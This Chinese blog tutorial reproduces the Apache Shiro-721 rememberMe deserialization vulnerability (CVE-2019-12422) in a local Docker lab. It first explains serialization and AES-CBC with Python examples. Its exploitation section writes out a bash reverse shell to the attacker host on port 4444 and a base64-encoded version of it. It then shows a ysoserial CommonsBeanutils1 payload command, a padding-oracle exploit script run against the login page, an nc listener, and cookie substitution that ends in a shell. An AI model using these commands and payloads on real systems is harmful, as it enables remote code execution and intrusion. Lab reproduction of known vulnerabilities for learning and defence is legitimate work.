【网络安全---漏洞复现】shiro721反序列化漏洞(CVE-2019-12422)原理与漏洞复现和利用(保姆级的详细教程)

一,漏洞介绍

1-1 什么是shiro

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序

1-2 什么是序列化 

序列化就是为了传输方便,把一个对象类型的数据转换成字符串进行传输;比如javascript里的一个对象{name:'aini',age:22}可以通过JSON.stringify函数转换成一个JSON格式的字符串,便于传输既这个对象会变成'{"name":"aini","age":18}',或者在PHP语言里面把一个类或者对象,或者函数等通过serialize函数进行序列化便于传输;序列化后产生的JSON,或者XML格式不仅传输便利,而且可以跨语言传输数据,这个把某个对象序列化成json格式或者XML格式或者其他序列化格式的字符串过程称为序列化;不过值得注意的是序列化不仅仅是这一种方式,还有对象数据类型转换成XML格式等,可以自行百度一下;

1-3 什么是反序列化

反序列化就是序列化的逆向过程,把一个序列化的JSON字符串内容或者XML内容反向还原回序列化前的对象格式

1-4 漏洞原理

在Apache shiro的框架中,执行身份验证时提供了一个记住密码的功能(RememberMe),如果用户登录时勾选了这个选项。用户的请求数据包中将会在cookie字段多出一段数据,这一段数据包含了用户的身份信息,且是经过加密的。加密的过程是:用户信息=>序列化=>AES加密(这一步需要用密钥key)=>base64编码=>添加到RememberMe Cookie字段。勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的cookie值进行身份验证,无需登录即可访问。那么显然,服务端进行对cookie进行验证的步骤就是:取出请求包中rememberMe的cookie值 => Base64解码=>AES解密(用到密钥key)=>反序列化。

 客户端产生rememberMe键值对以及服务端进行cookie验证步骤

1-5 AES-CBC加密 

这个加密解密过程还是蛮复杂的,shiro721加密用的是AES128秘钥,128表示128位,这么说秘钥就是16个字节

加密规则就是对数据分块加密,比如说数据一共有1000个字节,那1000个字节按16字节为单位,用16字节的秘钥分别进行加密处理,因为1000不能整除16,所以对最后一块还要进行填充,让长度达到16字节

字节是最终能换换成数字或者二进制的,那么可以对二进制,或者数字进行各种矩阵运算,比如异或运算,数学运算等

具体做了哪些矩阵运算,感兴趣的话可以自己查资料,大概过程可以看如下图 

 所以想要利用此漏洞,就得对AES-CBC加密算法秘钥进行破解,而破解就会耗费一点时间

我生成破解后带有payload的rememberMe的值的时候用了将近1个小时才生成rememberMe的值

1-6 Python AES加密解密

1-6-1 没有填充

# AES加密
from Crypto.Cipher import AES
import base64
"""
长度
    16: *AES-128*
    24: *AES-192*
    32: *AES-256*

MODE 加密模式.常见的 
    ECB  可以没有iv
    CBC	 需要iv的
"""
# 创建加密器 注意秘钥和iv必须是16个字节
aes = AES.new( key= b"alexissbalexissb", mode=AES.MODE_CBC, iv=b"0102030405060708") # 分别是秘钥,模式,iv
data = "我吃饭了"

# 加密的内容必须是字节,所以先进行编码
data_bs = data.encode("utf-8")

# 需要加密的数据必须是16的倍数
# 填充规则: 缺少数据量的个数 * chr(缺少数据量个数)
pad_len = 16 - len(data_bs) % 16
data_bs += (pad_len * chr(pad_len)).encode("utf-8")
# 再对编码后的字节进行加密
bs = aes.encrypt(data_bs)
#用base64对结果进行编码
result = base64.b64encode(bs).decode()

1-6-2 有填充

用pad对字节进行填充达到规定的长度

# AES加密
from Crypto.Cipher import AES
import base64
from Crypto.Util.Padding import pad
"""
长度
    16: *AES-128*
    24: *AES-192*
    32: *AES-256*

MODE 加密模式.常见的 
    ECB  可以没有iv
    CBC	 需要iv的
"""
# 创建加密器 注意秘钥和iv必须是16个字节
aes = AES.new( key= b"alexissbalexissb", mode=AES.MODE_CBC, iv=b"0102030405060708") # 分别是秘钥,模式,iv
data = "我吃饭了"

# 加密的内容必须是字节,所以先进行编码
data_bs = data.encode("utf-8")

# 需要加密的数据必须是16的倍数
# 用pad工具进行填充
data_bs = pad(data_bs,16)
# 再对编码后的字节进行加密
bs = aes.encrypt(data_bs)
#用base64对结果进行编码
result = base64.b64encode(bs).decode()
print(result)

1-6-3 加密结果转换base64,hex

# 转换成base64 bs是AES加密得到的字节
result = base64.b64encode(bs).decode()

#转换成16进制
import binascii
res = binascii.b2a_hex(bs).decode()

# 也可以转换成16进制,跟上面一个效果一样
bs.hex()

 1-6-4 解密规则

from Crypto.Util.Padding import pad,unpad

# base64编码后的密文
s = '9noPO0fcQizMbPkXcVOTDg=='
# 创建解密器
aes = AES.new(key= b"alexissbalexissb", mode=AES.MODE_CBC, iv=b"0102030405060708")
# 首先把base64编码转换成正常的字节
data = base64.b64decode(s)
res = aes.decrypt(data)
# 明文有可能有问题,因为字节是填充过得
# 用unpad 去除填充的内容,注:需要导入unpad
res = unpad(res,16)
# 得到明文
mingwen = res.decode("utf-8")
print(mingwen)

二,靶场搭建

2-1 攻防主机

靶场:kali2023  192.168.31.150

攻击机:kali2023 192.168.31.20

2-2 工具准备

工具一:shiro_exp.py

工具二ysoserial.jar

工具一下载地址 :GitHub - inspiringz/Shiro-721: Shiro-721 RCE Via RememberMe Padding Oracle AttackShiro-721 RCE Via RememberMe Padding Oracle Attack - GitHub - inspiringz/Shiro-721: Shiro-721 RCE Via RememberMe Padding Oracle Attackicon-default.png?t=N7T8https://github.com/inspiringz/Shiro-721 工具二下载地址:

https://github.com/insightglacier/Shiro_exploiticon-default.png?t=N7T8https://github.com/insightglacier/Shiro_exploit

2-3 靶场搭建

需要有docker容器,如何安装docker,docker常见命令请见如下博客:

docker及docker命令详解_ANii_Aini的博客-CSDN博客docker及docker命令详解;docker是一个软件,是一个运行与linux和windows上的软件,用于创建、管理和编排容器;docker平台就是一个软件集装箱化平台,是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,也可以实现虚拟化,并且容器之间不会有任何接口;https://blog.csdn.net/m0_67844671/article/details/132872790?spm=1001.2014.3001.5502

工具一中就包含靶场环境,工具1压缩包放到靶场主机上进行解压

rz -E   ## 从物理机拉取文件
unzip Shiro-721-master.zip  ## 解压文件

ls

cd Shiro-721-master
ls
cd Docker

需要先创建一个docker镜像 

docker build -t shiro-721 . 

docker images 查看一下是否镜像建立成功 

启动容器(相当于启动靶场了) 

注意:shiro框架自己对外提供的端口是8080,我们映射到了本机80端口

 docker run -d -p 80:8080 shiro-721:latest

docker ps 查看一下是否启动成功 

靶场已经启动了,浏览器访问一下看看

三,漏洞验证

3-1 手动验证

先点击登录

输入账号密码,点击rememberME单选框以后,bp抓包

如果用正确的账号密码登录,则分别发送两个请求包,分别是POST和GET 

POST请求包如下图这是(正确账号密码登录得到的包)

GET请求包如下图(这是正确密码登录得到的包,主要是向后台提交cookie值)

如果用错误的账号密码登录,则只会发送一个POST请求包 

放到重放器里面,点击发送

看到响应包里面有个rememberMe=deleteMe字段,可以说存在shiro反序列化漏洞 

3-2 工具验证

需要工具的可以留言

存在shiro框架,而且把秘钥破解出来了

四,漏洞复现和利用

(如果工具不好用,或者需要工具可以留言)

首先把俩工具放在攻击机器上的同一个文件夹

工具一:shiro_exp.py

工具二ysoserial.jar

4-1 准备反向木马

注意:把IP和端口改成自己的(IP为攻击机器IP,端口是攻击机需要监听的端口)

bash -i >& /dev/tcp/192.168.31.20/4444 0>&1

4-2 对反向木马base64编码

因为有>&/等特殊符号存在,服务端可能做了防护,编码以后比较保险(这也是常用的做法)

 推荐一个网站,生成编码后的木马很方便

Runtime.exec Payload Generater | AresX's BlogThere is no descriptionicon-default.png?t=N7T8https://ares-x.com/tools/runtime-exec

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjIwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}

 4-3 生成payload文件

使用ysoserial.jar 的 CommonsBeanutils1 生成含有反向木马的文件

其中双引号里面就是我们生成的base64编码以后的payload

java -jar ysoserial.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjIwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.class

拓展:这里的payload并不是说一定要反向shell,也可以是在目标服务器创建一句话木马,或者创建恶意文件等都可以,比如:touch aini.txt;对这个恶意payload进行base64编码以后也可以进行攻击

4-4 生成rememberMe的cookie值 

开始头疼了,因为kali Python2.7是没有pip2,没办法安装模块,而我们的生成rememberMe 值的Python脚本需要安装一个模块,名字是paddingoracle ,到时候会提示缺这个包,按照提示pip2 install paddingoracle 安装即可 

解决办法我写在了下面这个博客里面,看Python2.7安装pip2 解决这个问题

shiro550反序列化漏洞原理与漏洞复现和利用(基于vulhub,保姆级的详细教程)_ANii_Aini的博客-CSDN博客shiro550反序列化漏洞原理与漏洞复现和利用(基于vulhub,保姆级的详细教程);Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序;https://blog.csdn.net/m0_67844671/article/details/133147551?spm=1001.2014.3001.5501保证这三个文件在同一个目录里。kali上解决了Python2有pip2且能安装模块

然后就是运行以下命令

python2 shiro_exp.py http://192.168.31.150/login.jsp FTZdvTqs0f1RpPvgmTB/GjZycgRNQeDpuzN5uCZ96nC5PymXJhQbNyRdAr8vUTE93dPkn0zvuHCFEtDE0WatZr9AVO8Fb5GGLNB0xkzTcJwfEo7ZRP7H6rxk6cGcDNMNDiBmTBow9nrpuhfUHoHcG0zOmPyBGAb5qMFke2TMgYEIsP7w3glLwRXUAOMWGaZ1htlZpt/4fs4HV2vXzJoPcVag0OsSQR1DQwIyrSpFUzSCiYlUdWY4eX7qz+CtLLbGTWfUbUpgpaqy6Iqmk1JUp5MARf+5INpaISAZ+VgeSsg2oK9R6YE9ylvkmTC6WMQuGVZSupT1aZxDhmGDOW9yE3TBzWCWjuZ8Frg8kBBEIYKlJcbIWJkN3OFUgOg/+yNTj9a+R94UG+G3vvzd3O57kZ9c4FuhmFBvoI2GYDkC1bwPrfroHi+HvaCJRb2xoheEVMqW2QDNI5jgB7VU+EUgCWSundISKwhAhkxEhk2bW26XbLYi+6O2sjCuF2xvhcDV payload.class

这个命令从左到右分别是 :

python2 (需要有Python2和pip2,pip2需要安装一个模块儿)

shiro_exp.py(工具里有)

url地址 (就是网站登录页面的地址)

登录成功的cookie值 (之前抓包过,手动验证那里)

payload.class文件 (生成的木马文件)

 cookie值从这个数据包这里来,正确账号密码登录时,会发两个包,一个POST,和一个GET,

GET请求包里包含正确的rememberMe的cookie值

运行命令

python2 shiro_exp.py http://192.168.31.150/login.jsp FTZdvTqs0f1RpPvgmTB/GjZycgRNQeDpuzN5uCZ96nC5PymXJhQbNyRdAr8vUTE93dPkn0zvuHCFEtDE0WatZr9AVO8Fb5GGLNB0xkzTcJwfEo7ZRP7H6rxk6cGcDNMNDiBmTBow9nrpuhfUHoHcG0zOmPyBGAb5qMFke2TMgYEIsP7w3glLwRXUAOMWGaZ1htlZpt/4fs4HV2vXzJoPcVag0OsSQR1DQwIyrSpFUzSCiYlUdWY4eX7qz+CtLLbGTWfUbUpgpaqy6Iqmk1JUp5MARf+5INpaISAZ+VgeSsg2oK9R6YE9ylvkmTC6WMQuGVZSupT1aZxDhmGDOW9yE3TBzWCWjuZ8Frg8kBBEIYKlJcbIWJkN3OFUgOg/+yNTj9a+R94UG+G3vvzd3O57kZ9c4FuhmFBvoI2GYDkC1bwPrfroHi+HvaCJRb2xoheEVMqW2QDNI5jgB7VU+EUgCWSundISKwhAhkxEhk2bW26XbLYi+6O2sjCuF2xvhcDV payload.class

就会报错,因为提示有一个包没找到,名字是paddingoracle 

pip2 install paddingoracle

提示安装成功了,再次运行上述命令 

开始破解了,不过需要很长时间的等待,因为shiro721用的是AES-CBC 方式加密,破解替换需要点时间 

 通过等了差不多45分钟以后,终于得到了带有payload的cookie值

这就是带有payload的cookie值

 4-5 对攻击机4444端口进行监听

这个端口是我们生成反向木马payload的时候指定的,要跟但是指定的保持一致,就下面这个命令中的4444端口

bash -i >& /dev/tcp/192.168.31.20/4444 0>&1

nc -lvvp 4444

4-6 替换cookie值,发包 

4-6-1 第一种方法

用新得到的带有payload的rememberMe值替换登录成功后GET请求中的rememberMe的值。

源数据包如下,就是正确账号密码登录后得到的GET数据包

对rememberMe值进行替换,用新得到rememberMe的值 ,替换后如下:

发包

看结果,能够连得上我们的攻击机器  ,成功getshell了

4-6-2 第二种方法 

用错误的账号密码登录,只有一个POST数据包,如下

 我们只要在cookie 里加上一个rememberMe 的字段即可(注意格式,cookie里键值对用分号隔开的)

看到确实能够getshell 

4-7 用工具进行利用 

然后就可以命令执行了

需要工具的可以留言

有遇到问题,或有不懂的地方欢迎留言讨论 

猜你喜欢

转载自blog.csdn.net/m0_67844671/article/details/133268983